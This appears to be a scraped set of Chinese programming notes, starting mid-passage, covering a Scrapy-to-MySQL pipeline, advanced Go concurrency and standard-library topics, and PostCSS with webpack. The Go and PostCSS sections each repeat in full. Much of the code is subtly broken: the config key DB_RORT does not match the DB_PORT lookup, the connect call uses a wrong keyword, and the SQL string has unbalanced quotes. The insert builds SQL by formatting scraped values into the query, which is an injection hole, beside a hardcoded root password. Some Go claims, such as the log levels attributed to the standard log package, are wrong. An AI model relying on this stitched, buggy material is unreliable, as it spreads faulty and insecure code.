AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } url = "https://xiaochenabc123.test.com" yield scrapy.Request( url=url, headers=headers ) 数据入库 安装pymysql pip install pymysql settings.py (pymysql) DB_HOST = “127.0.0.1” DB_RORT = 3306 DB_USER = “root” DB_PASSWORD = “123abc” DB_NAME = “dataMax” DB_CHARSET = “utf8” 开一条新管道,专门处理数据入数据库 pipeline.py from scrapy.utils.project import get_project_settings import pymysql #读取settings文件 class MysqlMax: def open_spider(self, spider): settings = get_project_settings() self.host = settings['DB_HOST'] self.port = settings['DB_PORT'] self.user = settings['DB_USER'] self.password = settings['DB_PASSWORD'] self.name = settings['DB_NAME'] self.charset = settings['DB_CHARSET'] self.connect() def connect(self): self.conn = pymysql.connect( host = self.host, port = self.port, user = self.user, password = self.password, name = self.name, charset = self.charset ) self.cursor = self.conn.cursor() def process_item(self,item,spider): sql = 'insert into book(name,src) values("{}","{}").format(item['name'],item['img']) self.cursor.execute(sql) self.conn.commit() # 执行sql语句,并且提交 return item def close_spider(self, spider): self.cursor.close() self.conn.close() 链接跟进和链接提取器 爬虫程序文件 rules = ( Rule(LinkExtractor(allow = ""), callback = "parse_item", follow = True), ) allow为正则表达式,当链接满足正则表达式提取,为空则全部匹配(链接提取器) callback为指定解析数据的规则 follow一般情况默认为False,指定是否从response提取的链接进行跟进,当callback为none时,follow为True 还有dent =(),用来过滤符合正则表达式的链接,当符合时不提取 allow_domains:允许的域名,deny_domains:不允许的域名 restrict_xpaths:提取符合xpath的链接,restrict_css:提取符合选择器的链接 注意:follow当为True会一直提取符合规则的链接,直到全部链接提取完毕 日志以及日志等级 日志等级 CRITICAL:严重错误 ERROR:一般错误 WARNING:警告 INFO:一般信息 DEBUG:调试信息(默认,只有出现DEBUG以及以上等级的日志才会打印输出) settings.py文件可以设置哪些日志显示,哪些不显示 LOG_FILE:将信息存储到文件中,不显示在输出界面,后缀为.log LOG_LEVEL:指定日志显示的等级 例如: LOG_LEVEL = “WARNING” LOG_FILE= “demo.log”
这篇笔记是进阶学习,如果基础没有看的的话,请去看https://xiaochenabc123.test.com/archives/96.html 并发 go的并发靠goroutine,goroutine由go运行时调度,线程由操作系统调度,go还提供channel来给多个goroutine之间通行,goroutine和channel是go并发模式CSP(Communicating Sequential Process,通讯顺序进程)的实现基础,goroutine的调度在用户态下完成,不涉及内核态(比如内存的分配和释放,都是用户态维护的内存池,成本远比调度OS线程要低的多,可轻松做到成千上万个goroutine) 内核态:程序执行操作系统层级的程序时 用户态:程序执行用户自己写的程序时 常见的并发模型有七种,分别是通讯顺序进程(CSP),数据级并行,函数式编程,线程与锁,Clojure,actor,Lambda架构 CSP(Communicating Sequential Process,通讯顺序进程):思想就是将两个并发执行的实体使用channel管道来连接起来,全部信息通过channel管道来传输,而且数据的传输是根据顺序来发送和接收的,CSP理论由托尼·霍尔提出 小知识:托尼·霍尔(C.A.R.Hoare),图灵奖获得者,快速排序算法(Quick Sort)也出自这位之手 go的并发编程不需要像java那样维护线程池,go在语言层面内置了调度和上下文切换机制,只需要定义任务,让go运行时来智能合理的调度goroutine的任务给每个CPU,也不需要额外写什么进程,线程,协程,只需要写一个函数,开启一个goroutine就是可以实现并发了 Go运行时会给main()函数建立一个默认的goroutine,当main()结束时,其他在main()执行的goroutine都会被结束(不管有没有执行完成) goroutine的栈开始时为2kb(OS线程一般为2mb),而且栈不是固定的,可以增大和缩小,大小限制可以达到1GB GPM调度器是Go对CSP并发模型的实现,是Go自己开发的一套调度系统(GPM分别表示为Goroutine,Processor,Machine) Goroutine:go关键字创建的执行体,对应则结构体g,这个结构体存储着goroutine的堆栈信息 Processor:负责管理goroutine队列,存储则当前goroutine运行的上下文,会给自己管理的goroutine队列进行调度,例如:暂停goroutine,执行goroutine,当自己的队列处理完毕,将去全局队列中获取,全局队列处理完毕,还可以去其他P的队列去获取,用来处理G和M的通信 Machine:G运行时对操作系统内核线程的虚拟化,映射内核线程(groutine就是被放到这个内核线程的映射虚拟化M中执行) 简单来说就是P管理一组G在M上执行,当一个G阻塞在一个M时,Go运行时创建一个新的M,负责管理阻塞的那个G的P将其他G挂载在新的M上,G阻塞完成时或者G死掉了,回收旧的M P的个数通过runtime.GOMAXPROCS设置(最大256)(1.5版本后默认为计算机物理线程数) GPM调度器使用被称为m:n调度的技术(复用或者调度m个goroutine到n个OS线程)(可用runtime.GOMAXPROCS来控制OS线程的数量) 因为底层OS线程的切换机制是根据时间轮询来切换的,因此goroutine的切换机制也是根据时间轮询来切换 runtime.Gosched():让当前任务让出线程占用,给其他任务执行 runtime.Goexit():终止当前任务 通道是可被垃圾回收机制回收的,所以只有在告诉接收数据方,所有数据都已发送完毕了才需要关闭通道 对已经关闭的管道发送数据,导致触发panic,同样关闭已经关闭的管道也会导致 对已经关闭并且没有值的管道接收数据,将得到对应类型的零值,接收一个已经被关闭的管道,会一直接收数据,直到管道空了 无缓冲区管道(阻塞管道):要求管道的发送方和接收方交互是同步的,管道容量等于0的就是无缓冲管道,如果不能满足同步,将导致阻塞,要接收者准备完毕,发送者才能进行工作 有缓冲区管道(非阻塞管道):可以异步发送数据接收数据,只要缓冲区存在没有使用的空间,通信就是无阻塞的,可先发送数据再接收(因为有缓冲区),而且缓冲区管道可以保存数据(不需要取完数据) 任务池:goroutine池,当goroutine任务完成,不kill该goroutine,而是获取下一个任务,并且继续执行该任务 注意:go内置的map并不是并发安全的,只有使用channel或者sync.Map才是并发安全的 锁可以避免并发冲突,但是锁对系统性能影响很大,原子操作可以减少这种消耗 原子操作:指的是某个操作在执行中,其他协程不会看到没有执行完毕的结果,对于其他协程来说,只有原子操作完成了或者没开始,就好像原子一样,不被分割 在多核中,某个核心读取某个数据是,会因为CPU缓存的原因,可能读取到的值不是最新的,在Go中,原子操作主要依赖于sync/atomic包 sync/atomic包将原子操作封装成了Go的函数,sync/atomic包提供了底层的原子级内存操作 因为Go不支持泛型,所以封装的函数很多(每个类型都有自己的原子操作函数,这里只写int64一个类型) 增或减(被操作值增大或减少,只适合int和uint类型增减):func AddInt64(addr *int64, delta int64) (new int64) 载入(读取,避免读取过程,其他协程进行修改操作):func LoadInt64(addr *int64) (val int64) 存储(写入,避免写入过程,其他协程进行读取操作):func StoreInt64(addr *int64, val int64) 交换(和CAS不同,交换只赋值old值,不管原来的值):func SwapInt64(addr *int64, new int64) (old int64) 比较并且交换(Compare And Swap 简称CAS,类似于乐观锁,只有原来的值和传入的old值一样才修改):func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool) 使用方法:atomic.原子操作函数名 goroutine的特性:非阻塞(不等待),调度器不能保证多个goroutine的执行顺序,全部goroutine都是平等的(不存在父子关系) 固定worker工作池(用固定数目的goroutine来作为工作线程池,提升并发能力),工作通道,结果通道,worker任务管道 从worker任务管道获取任务到工作管道,处理完毕的结果传递到结果通道 context标准库(go1.7版本以及之后版本),用来跟踪goroutine调用树(因为goroutine不存在父子关系,无法靠语法来通知) Context接口:所有的context对象都要实现该接口,一般用来当作context对象的参数类型,该接口定义了4个需要实现的方法,分别是Deadline(),Done(),Err(),Value() Deadline()方法:需要返回当前Context被取消的时间(完成工作截止时间) Done()方法:需要返回一个channel,这个管道会在当前工作完成或者上下文被取消之后关闭 Err()方法:返回当前Context结束的原因 Value()方法:会从Context中返回键对应的值 canceler接口:规定了通知取消的Context对象要实现的接口 empty Context结构:实现了Context接口,但是不具备任何功能(该结构体的方法是空方法),该结构被用来当做Context对象树的根(root节点),模拟一个真的goroutine树 cancelCtx类型:实现了Context接口的具体类型,并且同时实现了canceler接口,不但具备退出通知功能,还能将退出通知告诉整个children节点 timerCtx类型:实现了Context接口的具体类型,并且封装了cancelCtx类型实例,具备一个deadline变量,用来实现定时退出通知 valueCtx类型:实现了Context接口的具体类型,并且封装了Context接口实例,具备一个k/v的存储变量,用来传递通知 go内置的net/http包提供了http客户端和服务端的实现,性能媲美nginx(每一个请求都有一个对应的goroutine去处理,并发性能好) http服务端 func h(w http.ResponseWriter, r *http.Request) { fmt.Println(r.RemoteAddr, "连接成功") fmt.Println(r.Method, r.URL.Path, r.Body, r.Header) str := "hallo word" w.Write([]byte(str)) } func main() { http.HandleFunc("/test", h) http.ListenAndServe("127.0.0.1:8080", nil) } 访问http://127.0.0.1:8080/test,就可以看到hallo word了,控制台还是输出一些有关请求的信息 http客户端(get请求,这个东西也可以用来做go爬虫) res, err := http.Get("https://xiaochenabc123.test.com") if err != nil { fmt.Println(err) } body, err := ioutil.ReadAll(res.Body) if err != nil { fmt.Println(err) } fmt.Println(string(body)) get参数通过r.URL.Query()进行识别 post请求 resp, err := http.Post("https://xiaochenabc123.test.com", "application/x-www-form-urlencoded", strings.NewReader("test=hallo word")) if err != nil { fmt.Println(err) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) fmt.Println(string(body)) 日志标准库log(log包是go内置的) log.Println() 普通日志 log.Fatalln() 会触发fatal的日志,写入日志后调用os.Exit(1) log.Panicln() 会触发panic的日志,写入日志后panic log会打印日志信息的日期,时间,以及日志信息 可通过log.SetOutput()存储日志到文件中 日志等级(从小到大,默认输出Debug及其以上基本的日志): log.Trace(基本输出),log.Debug(调试),log.Info(重要),log.Warning(警告),log.Error(错误),CRIT(严重危险), ALRT(严重警告),log.Fatal(严重紧急) go test测试工具 在包目录中,所有以_test.go为后缀名的文件,都认为是go test的一部分,不会被go build编译到可执行文件中 在这些以_test.go为后缀名的文件中的函数,分为3种类型,单元测试函数,基准测试函数和示例函数 单元测试函数:函数名前缀以Test开头的,用来测试程序的逻辑是否正常 基准测试函数:函数名前缀以Benchmark开头的,测试函数的性能 示例函数:函数名前缀以Example开头的,提供示例 go test会遍历这些符合规则的函数,并且生成临时的main包来调用测试函数,执行,返回测试结果,最后清理临时测试文件 测试函数必须要导入testing包,例如:func TestData(t *testing.T){} 基准测试函数:func BenchmarkData(b *testing.B) 示例函数:func ExampleData() go变量如果在声明时没有指定初始值,那么该变量初始值为该变量的类型的零值 :=声明方式只能出现在函数中(由go自动判断类型) go提供自动垃圾回收(Garbage Collector)机制,不需要关注变量的内存管理,go使用逃逸分析(Escape Analysis)技术 go会为变量在两个地方分配内存空间,这两个地方分别是全局的堆(heap)空间和每个goroutine的栈(stack)空间,因为go是自动管理内存空间的,不需要关心这些,但是栈内存和堆内存在性能差别很大 如果分配到栈中,那么当函数执行完毕后自动回收,如果是分配到堆中,会在函数执行完毕后某个时间点进行垃圾回收,而且在栈上分配内存或者回收内存花销都很低,只需要PUSH(将数据PUSH到栈空间)和POP(释放空间)两个CPU指令,因此只是将数据PUSH到内存的时间,效率和内存的I/O成正比 如果是堆中,因为go语言垃圾回收用的是标记清除算法(GC,垃圾回收)(标记要查找存活的对象,清除要遍历堆的全部对象,回收没有标记的对象)(题外知识:JavaScript垃圾回收就是用的这个标记清除算法) 逃逸分析(Escape Analysis):由编译器决定变量是分配到栈空间还是堆空间,当变量的作用域在函数内部,那么该变量是分配到栈空间上,反之则分配在堆空间,也就是说当变量不能随着函数结束而回收时分配在堆空间(指针逃逸),另外空接口在编译阶段难确定其参数的类型,也会发生逃逸,闭包也会逃逸 另外当栈空间不足也会发生逃逸(因为栈溢出),栈空间被操作系统所限制大小(当栈空间不足时,发生栈溢出) 利用逃逸分析原理提升性能:一般情况下,占用大内存的变量应该使用传指针(堆空间,虽然GC性能没有栈空间那么好,但是传指针只复制指针地址,不对值的拷贝),小内存的变量用传值(栈空间,可获得更好的性能) 反射:指程序在执行过程中,可以访问,监测和修改本身状态和行为的能力 Go语言提供了一种机制在运行时更新变量和检查它们的值,调用它们的方法,但是在编译时并不知道这些变量的具体类型,这称为反射机制 Go的反射基础是接口和类型系统,借助接口自动创建的数据结构实现,反射依赖于interface类型,反射的实现靠reflect标准库 Go语言类型分为2大类,static type和concrete type,其中static type是int,string这些在编码时能看到的类型,concrete type是runtime系统才能看见的类型(类型断言依赖于concrete type) 因为Go语言是静态语言,在编译阶段已经被确定了类型,使用interface类型的变量有一个pair,pair被用来记录了实际变量的值和类型,并且这个变量有2个指针,一个指向concrete type,另一个指向实际值 reflect.TypeOf():该函数的参数是一个空接口类型,返回值为一个type接口类型,返回一个type的接口变量,通过接口抽象出来的方法访问具体类型的信息(用来获取反射对象pair的type) reflect.ValueOf():该函数的参数是一个空接口类型,返回值为一个Value类型的变量(用来获取pair的value对象), reflect.Kind()方法:该方法没有参赛,返回值是字符串类型(用来获取具体类型struct) 例如: type Testint int64 var num Testint = 666 fmt.Println("type: ", reflect.TypeOf(num)) fmt.Println("value: ", reflect.ValueOf(num)) fmt.Println("kind: ", reflect.TypeOf(num).Kind()) Go 交叉编译(在一个平台上生成另一个平台的可执行程序)(Mac/Linux/Windows下) Windows下编译Mac,Linux Linux SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go Mac SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go Linux下编译Mac,Windows Windows CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go Mac CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go Mac下编译Linux,Windows Linux CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go Windows CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go 其中CGO_ENABLED=0来控制go build是否使用CGO编译器,1为使用CGO编译器,GOOS表示编译成什么平台的(linux/windows/darwin/freebsd),GOARCH表示编译成什么平台的体系架构(386/amd64/arm,32位,64位,ARM) 注意:CGO是Go代码中调用C代码交叉编译,但是交叉编译不支持CGO,因此如果存在C代码是不能编译的,需要禁用CGO dep包管理工具 命令行参数解析(依赖于内置flag包) 导入flag包 import flag 定义参数 pass := flag.String("pass", "123", "密码") 可以看到flag.Type方法接收3个参数,分别是flag名,默认值,提示 flag支持Int,Int64,Uint,Uint64,Float,Float64,String,Bool,Duration(时间间隔)等类型 还有一种定义参数的方式 var pass string flag.StringVar(&pass, "pass", "123", "密码") 定义完毕参数后,使用flag.Parse()解析,命令行中指定pass,pass的数据将会保存在pass变量中 flag其他常用函数 返回命令行参数后(未定义的参数)的其他参数 flag.Args() 返回命令行参数后(未定义的参数)的其他参数个数 flag.NArg() 返回命令行参数(定义的)的个数 flag.NFlag() 例如: func main() { var pass string flag.StringVar(&pass, "pass", "123", "密码") flag.Parse() fmt.Println(pass) fmt.Println(flag.Args()) fmt.Println(flag.NArg()) fmt.Println(flag.NFlag()) } ./test -pass hallo 可使用-help参数查看参数提示
这篇笔记是进阶学习,如果基础没有看的的话,请去看https://xiaochenabc123.test.com/archives/96.html 并发 go的并发靠goroutine,goroutine由go运行时调度,线程由操作系统调度,go还提供channel来给多个goroutine之间通行,goroutine和channel是go并发模式CSP(Communicating Sequential Process,通讯顺序进程)的实现基础,goroutine的调度在用户态下完成,不涉及内核态(比如内存的分配和释放,都是用户态维护的内存池,成本远比调度OS线程要低的多,可轻松做到成千上万个goroutine) 内核态:程序执行操作系统层级的程序时 用户态:程序执行用户自己写的程序时 常见的并发模型有七种,分别是通讯顺序进程(CSP),数据级并行,函数式编程,线程与锁,Clojure,actor,Lambda架构 CSP(Communicating Sequential Process,通讯顺序进程):思想就是将两个并发执行的实体使用channel管道来连接起来,全部信息通过channel管道来传输,而且数据的传输是根据顺序来发送和接收的,CSP理论由托尼·霍尔提出 小知识:托尼·霍尔(C.A.R.Hoare),图灵奖获得者,快速排序算法(Quick Sort)也出自这位之手 go的并发编程不需要像java那样维护线程池,go在语言层面内置了调度和上下文切换机制,只需要定义任务,让go运行时来智能合理的调度goroutine的任务给每个CPU,也不需要额外写什么进程,线程,协程,只需要写一个函数,开启一个goroutine就是可以实现并发了 Go运行时会给main()函数建立一个默认的goroutine,当main()结束时,其他在main()执行的goroutine都会被结束(不管有没有执行完成) goroutine的栈开始时为2kb(OS线程一般为2mb),而且栈不是固定的,可以增大和缩小,大小限制可以达到1GB GPM调度器是Go对CSP并发模型的实现,是Go自己开发的一套调度系统(GPM分别表示为Goroutine,Processor,Machine) Goroutine:go关键字创建的执行体,对应则结构体g,这个结构体存储着goroutine的堆栈信息 Processor:负责管理goroutine队列,存储则当前goroutine运行的上下文,会给自己管理的goroutine队列进行调度,例如:暂停goroutine,执行goroutine,当自己的队列处理完毕,将去全局队列中获取,全局队列处理完毕,还可以去其他P的队列去获取,用来处理G和M的通信 Machine:G运行时对操作系统内核线程的虚拟化,映射内核线程(groutine就是被放到这个内核线程的映射虚拟化M中执行) 简单来说就是P管理一组G在M上执行,当一个G阻塞在一个M时,Go运行时创建一个新的M,负责管理阻塞的那个G的P将其他G挂载在新的M上,G阻塞完成时或者G死掉了,回收旧的M P的个数通过runtime.GOMAXPROCS设置(最大256)(1.5版本后默认为计算机物理线程数) GPM调度器使用被称为m:n调度的技术(复用或者调度m个goroutine到n个OS线程)(可用runtime.GOMAXPROCS来控制OS线程的数量) 因为底层OS线程的切换机制是根据时间轮询来切换的,因此goroutine的切换机制也是根据时间轮询来切换 runtime.Gosched():让当前任务让出线程占用,给其他任务执行 runtime.Goexit():终止当前任务 通道是可被垃圾回收机制回收的,所以只有在告诉接收数据方,所有数据都已发送完毕了才需要关闭通道 对已经关闭的管道发送数据,导致触发panic,同样关闭已经关闭的管道也会导致 对已经关闭并且没有值的管道接收数据,将得到对应类型的零值,接收一个已经被关闭的管道,会一直接收数据,直到管道空了 无缓冲区管道(阻塞管道):要求管道的发送方和接收方交互是同步的,管道容量等于0的就是无缓冲管道,如果不能满足同步,将导致阻塞,要接收者准备完毕,发送者才能进行工作 有缓冲区管道(非阻塞管道):可以异步发送数据接收数据,只要缓冲区存在没有使用的空间,通信就是无阻塞的,可先发送数据再接收(因为有缓冲区),而且缓冲区管道可以保存数据(不需要取完数据) 任务池:goroutine池,当goroutine任务完成,不kill该goroutine,而是获取下一个任务,并且继续执行该任务 注意:go内置的map并不是并发安全的,只有使用channel或者sync.Map才是并发安全的 锁可以避免并发冲突,但是锁对系统性能影响很大,原子操作可以减少这种消耗 原子操作:指的是某个操作在执行中,其他协程不会看到没有执行完毕的结果,对于其他协程来说,只有原子操作完成了或者没开始,就好像原子一样,不被分割 在多核中,某个核心读取某个数据是,会因为CPU缓存的原因,可能读取到的值不是最新的,在Go中,原子操作主要依赖于sync/atomic包 sync/atomic包将原子操作封装成了Go的函数,sync/atomic包提供了底层的原子级内存操作 因为Go不支持泛型,所以封装的函数很多(每个类型都有自己的原子操作函数,这里只写int64一个类型) 增或减(被操作值增大或减少,只适合int和uint类型增减):func AddInt64(addr *int64, delta int64) (new int64) 载入(读取,避免读取过程,其他协程进行修改操作):func LoadInt64(addr *int64) (val int64) 存储(写入,避免写入过程,其他协程进行读取操作):func StoreInt64(addr *int64, val int64) 交换(和CAS不同,交换只赋值old值,不管原来的值):func SwapInt64(addr *int64, new int64) (old int64) 比较并且交换(Compare And Swap 简称CAS,类似于乐观锁,只有原来的值和传入的old值一样才修改):func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool) 使用方法:atomic.原子操作函数名 goroutine的特性:非阻塞(不等待),调度器不能保证多个goroutine的执行顺序,全部goroutine都是平等的(不存在父子关系) 固定worker工作池(用固定数目的goroutine来作为工作线程池,提升并发能力),工作通道,结果通道,worker任务管道 从worker任务管道获取任务到工作管道,处理完毕的结果传递到结果通道 context标准库(go1.7版本以及之后版本),用来跟踪goroutine调用树(因为goroutine不存在父子关系,无法靠语法来通知) Context接口:所有的context对象都要实现该接口,一般用来当作context对象的参数类型,该接口定义了4个需要实现的方法,分别是Deadline(),Done(),Err(),Value() Deadline()方法:需要返回当前Context被取消的时间(完成工作截止时间) Done()方法:需要返回一个channel,这个管道会在当前工作完成或者上下文被取消之后关闭 Err()方法:返回当前Context结束的原因 Value()方法:会从Context中返回键对应的值 canceler接口:规定了通知取消的Context对象要实现的接口 empty Context结构:实现了Context接口,但是不具备任何功能(该结构体的方法是空方法),该结构被用来当做Context对象树的根(root节点),模拟一个真的goroutine树 cancelCtx类型:实现了Context接口的具体类型,并且同时实现了canceler接口,不但具备退出通知功能,还能将退出通知告诉整个children节点 timerCtx类型:实现了Context接口的具体类型,并且封装了cancelCtx类型实例,具备一个deadline变量,用来实现定时退出通知 valueCtx类型:实现了Context接口的具体类型,并且封装了Context接口实例,具备一个k/v的存储变量,用来传递通知 go内置的net/http包提供了http客户端和服务端的实现,性能媲美nginx(每一个请求都有一个对应的goroutine去处理,并发性能好) http服务端 func h(w http.ResponseWriter, r *http.Request) { fmt.Println(r.RemoteAddr, "连接成功") fmt.Println(r.Method, r.URL.Path, r.Body, r.Header) str := "hallo word" w.Write([]byte(str)) } func main() { http.HandleFunc("/test", h) http.ListenAndServe("127.0.0.1:8080", nil) } 访问http://127.0.0.1:8080/test,就可以看到hallo word了,控制台还是输出一些有关请求的信息 http客户端(get请求,这个东西也可以用来做go爬虫) res, err := http.Get("https://xiaochenabc123.test.com") if err != nil { fmt.Println(err) } body, err := ioutil.ReadAll(res.Body) if err != nil { fmt.Println(err) } fmt.Println(string(body)) get参数通过r.URL.Query()进行识别 post请求 resp, err := http.Post("https://xiaochenabc123.test.com", "application/x-www-form-urlencoded", strings.NewReader("test=hallo word")) if err != nil { fmt.Println(err) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) fmt.Println(string(body)) 日志标准库log(log包是go内置的) log.Println() 普通日志 log.Fatalln() 会触发fatal的日志,写入日志后调用os.Exit(1) log.Panicln() 会触发panic的日志,写入日志后panic log会打印日志信息的日期,时间,以及日志信息 可通过log.SetOutput()存储日志到文件中 日志等级(从小到大,默认输出Debug及其以上基本的日志): log.Trace(基本输出),log.Debug(调试),log.Info(重要),log.Warning(警告),log.Error(错误),CRIT(严重危险), ALRT(严重警告),log.Fatal(严重紧急) go test测试工具 在包目录中,所有以_test.go为后缀名的文件,都认为是go test的一部分,不会被go build编译到可执行文件中 在这些以_test.go为后缀名的文件中的函数,分为3种类型,单元测试函数,基准测试函数和示例函数 单元测试函数:函数名前缀以Test开头的,用来测试程序的逻辑是否正常 基准测试函数:函数名前缀以Benchmark开头的,测试函数的性能 示例函数:函数名前缀以Example开头的,提供示例 go test会遍历这些符合规则的函数,并且生成临时的main包来调用测试函数,执行,返回测试结果,最后清理临时测试文件 测试函数必须要导入testing包,例如:func TestData(t *testing.T){} 基准测试函数:func BenchmarkData(b *testing.B) 示例函数:func ExampleData() go变量如果在声明时没有指定初始值,那么该变量初始值为该变量的类型的零值 :=声明方式只能出现在函数中(由go自动判断类型) go提供自动垃圾回收(Garbage Collector)机制,不需要关注变量的内存管理,go使用逃逸分析(Escape Analysis)技术 go会为变量在两个地方分配内存空间,这两个地方分别是全局的堆(heap)空间和每个goroutine的栈(stack)空间,因为go是自动管理内存空间的,不需要关心这些,但是栈内存和堆内存在性能差别很大 如果分配到栈中,那么当函数执行完毕后自动回收,如果是分配到堆中,会在函数执行完毕后某个时间点进行垃圾回收,而且在栈上分配内存或者回收内存花销都很低,只需要PUSH(将数据PUSH到栈空间)和POP(释放空间)两个CPU指令,因此只是将数据PUSH到内存的时间,效率和内存的I/O成正比 如果是堆中,因为go语言垃圾回收用的是标记清除算法(GC,垃圾回收)(标记要查找存活的对象,清除要遍历堆的全部对象,回收没有标记的对象)(题外知识:JavaScript垃圾回收就是用的这个标记清除算法) 逃逸分析(Escape Analysis):由编译器决定变量是分配到栈空间还是堆空间,当变量的作用域在函数内部,那么该变量是分配到栈空间上,反之则分配在堆空间,也就是说当变量不能随着函数结束而回收时分配在堆空间(指针逃逸),另外空接口在编译阶段难确定其参数的类型,也会发生逃逸,闭包也会逃逸 另外当栈空间不足也会发生逃逸(因为栈溢出),栈空间被操作系统所限制大小(当栈空间不足时,发生栈溢出) 利用逃逸分析原理提升性能:一般情况下,占用大内存的变量应该使用传指针(堆空间,虽然GC性能没有栈空间那么好,但是传指针只复制指针地址,不对值的拷贝),小内存的变量用传值(栈空间,可获得更好的性能) 反射:指程序在执行过程中,可以访问,监测和修改本身状态和行为的能力 Go语言提供了一种机制在运行时更新变量和检查它们的值,调用它们的方法,但是在编译时并不知道这些变量的具体类型,这称为反射机制 Go的反射基础是接口和类型系统,借助接口自动创建的数据结构实现,反射依赖于interface类型,反射的实现靠reflect标准库 Go语言类型分为2大类,static type和concrete type,其中static type是int,string这些在编码时能看到的类型,concrete type是runtime系统才能看见的类型(类型断言依赖于concrete type) 因为Go语言是静态语言,在编译阶段已经被确定了类型,使用interface类型的变量有一个pair,pair被用来记录了实际变量的值和类型,并且这个变量有2个指针,一个指向concrete type,另一个指向实际值 reflect.TypeOf():该函数的参数是一个空接口类型,返回值为一个type接口类型,返回一个type的接口变量,通过接口抽象出来的方法访问具体类型的信息(用来获取反射对象pair的type) reflect.ValueOf():该函数的参数是一个空接口类型,返回值为一个Value类型的变量(用来获取pair的value对象), reflect.Kind()方法:该方法没有参赛,返回值是字符串类型(用来获取具体类型struct) 例如: type Testint int64 var num Testint = 666 fmt.Println("type: ", reflect.TypeOf(num)) fmt.Println("value: ", reflect.ValueOf(num)) fmt.Println("kind: ", reflect.TypeOf(num).Kind()) Go 交叉编译(在一个平台上生成另一个平台的可执行程序)(Mac/Linux/Windows下) Windows下编译Mac,Linux Linux SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go Mac SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go Linux下编译Mac,Windows Windows CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go Mac CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go Mac下编译Linux,Windows Linux CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go Windows CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go 其中CGO_ENABLED=0来控制go build是否使用CGO编译器,1为使用CGO编译器,GOOS表示编译成什么平台的(linux/windows/darwin/freebsd),GOARCH表示编译成什么平台的体系架构(386/amd64/arm,32位,64位,ARM) 注意:CGO是Go代码中调用C代码交叉编译,但是交叉编译不支持CGO,因此如果存在C代码是不能编译的,需要禁用CGO dep包管理工具 命令行参数解析(依赖于内置flag包) 导入flag包 import flag 定义参数 pass := flag.String("pass", "123", "密码") 可以看到flag.Type方法接收3个参数,分别是flag名,默认值,提示 flag支持Int,Int64,Uint,Uint64,Float,Float64,String,Bool,Duration(时间间隔)等类型 还有一种定义参数的方式 var pass string flag.StringVar(&pass, "pass", "123", "密码") 定义完毕参数后,使用flag.Parse()解析,命令行中指定pass,pass的数据将会保存在pass变量中 flag其他常用函数 返回命令行参数后(未定义的参数)的其他参数 flag.Args() 返回命令行参数后(未定义的参数)的其他参数个数 flag.NArg() 返回命令行参数(定义的)的个数 flag.NFlag() 例如: func main() { var pass string flag.StringVar(&pass, "pass", "123", "密码") flag.Parse() fmt.Println(pass) fmt.Println(flag.Args()) fmt.Println(flag.NArg()) fmt.Println(flag.NFlag()) } ./test -pass hallo 可使用-help参数查看参数提示
PostCSS是一个用JS插件转换为css的插件工具(注意:PostCSS不是css预处理器,PostCSS本身是个平台,可以通过一些插件达到css预处理器的效果) PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more. 插件查询:https://www.postcss.parts/ 常用插件:https://github.com/postcss/postcss/blob/main/docs/plugins.md 安装 npm install postcss postcss-loader 或者安装到项目中 npm install postcss postcss-loader –save-dev PostCSS不单独使用,可搭配Gulp或者webpack使用(这里使用的是webpack) webpack.config.js module.exports = { module: { rules: [ { test: /\.css$/, use: ["style-loader", "css-loader", "postcss-loader"] } ] } }; postcss.config.js module.exports = { plugins: [插件1,插件2] }; Autoprefixer(自动添加浏览器前缀) npm install autoprefixer –save-dev const autoprefixer = require("autoprefixer") // 导入插件 module.exports = { plugins: [autoprefixer] // 加载插件 } 执行打包命令npm run build postcss-preset-env(支持现代css语法) npm install postcss-preset-env –save-dev const postcssPresetEnv = require(“postcss-preset-env”) css-modules(css模块化) npm install postcss-modules –save-dev const postcssModules = require(“postcss-modules”) stylelint(css代码检查) npm install stylelint stylelint-config-standard –save-dev const StyleLintPlugin = require(“stylelint-webpack-plugin”)
PostCSS是一个用JS插件转换为css的插件工具(注意:PostCSS不是css预处理器,PostCSS本身是个平台,可以通过一些插件达到css预处理器的效果) PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more. 插件查询:https://www.postcss.parts/ 常用插件:https://github.com/postcss/postcss/blob/main/docs/plugins.md 安装 npm install postcss postcss-loader 或者安装到项目中 npm install postcss postcss-loader –save-dev PostCSS不单独使用,可搭配Gulp或者webpack使用(这里使用的是webpack) webpack.config.js module.exports = { module: { rules: [ { test: /\.css$/, use: ["style-loader", "css-loader", "postcss-loader"] } ] } }; postcss.config.js module.exports = { plugins: [插件1,插件2] }; Autoprefixer(自动添加浏览器前缀) npm install autoprefixer –save-dev const autoprefixer = require("autoprefixer") // 导入插件 module.exports = { plugins: [autoprefixer] // 加载插件 } 执行打包命令npm run build postcss-preset-env(支持现代css语法) npm install postcss-preset-env –save-dev const postcssPresetEnv = require(“postcss-preset-env”) css-modules(css模块化) npm install postcss-modules –save-dev const postcssModules = require(“postcss-modules”) stylelint(css代码检查) npm install stylelint stylelint-config-standard –save-dev const StyleLintPlugin = require(“stylelint-webpack-plugin”)
